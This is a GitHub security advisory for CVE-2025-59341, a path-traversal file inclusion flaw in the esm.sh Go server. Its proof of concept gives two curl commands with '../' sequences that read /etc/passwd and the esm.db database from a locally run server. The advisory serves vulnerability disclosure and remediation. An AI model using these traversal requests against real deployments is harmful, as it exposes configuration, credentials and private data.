GitHub Advisoryadvisory · Go
GHSA-49pv-gwxp-532r esm.sh has File Inclusion issue
HIGH
Official page ↗
- Aliases
- CVE-2025-59341
- Ecosystem
- Go
- Packages
- github.com/esm-dev/esm.sh
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-23
- Reviewed
- 2025-09-17
Affected packages
• Go github.com/esm-dev/esm.sh: <= 136 (no fix yet)
Description
Summary
A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).
Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.
Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168
---
Proof of Concept
1. Using this default config file that I copy from the repo, the server is running at `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`
```json
{
"port": 9999,
"npmRegistry": "https://registry.npmjs.org/",
"npmToken": "******"
}
```
2. Trigger the LFI vulnerability by sending this command below to read a local file
```bash
read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
```
---
Remediation
Simply remove any `..` in the URL path before actually process the file. See more details in this guide
Credits
• Ai Ho (Jessie)
• CL Yang
Related
Alias · CVE (1)
- CVE-2025-59341 esm.sh is a nobuild content delivery network(CDN) for modern web development. vulnerability
Weakness · CWE (1)
- CWE-23 Relative Path Traversal weakness
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-49pv-gwxp-532r web
- https://nvd.nist.gov/vuln/detail/CVE-2025-59341 advisory
- https://github.com/esm-dev/esm.sh/commit/492de92850dd4d350c8b299af541f87541e58a45 web
- https://github.com/esm-dev/esm.sh package
- https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168 web
- https://pkg.go.dev/vuln/GO-2025-3962 web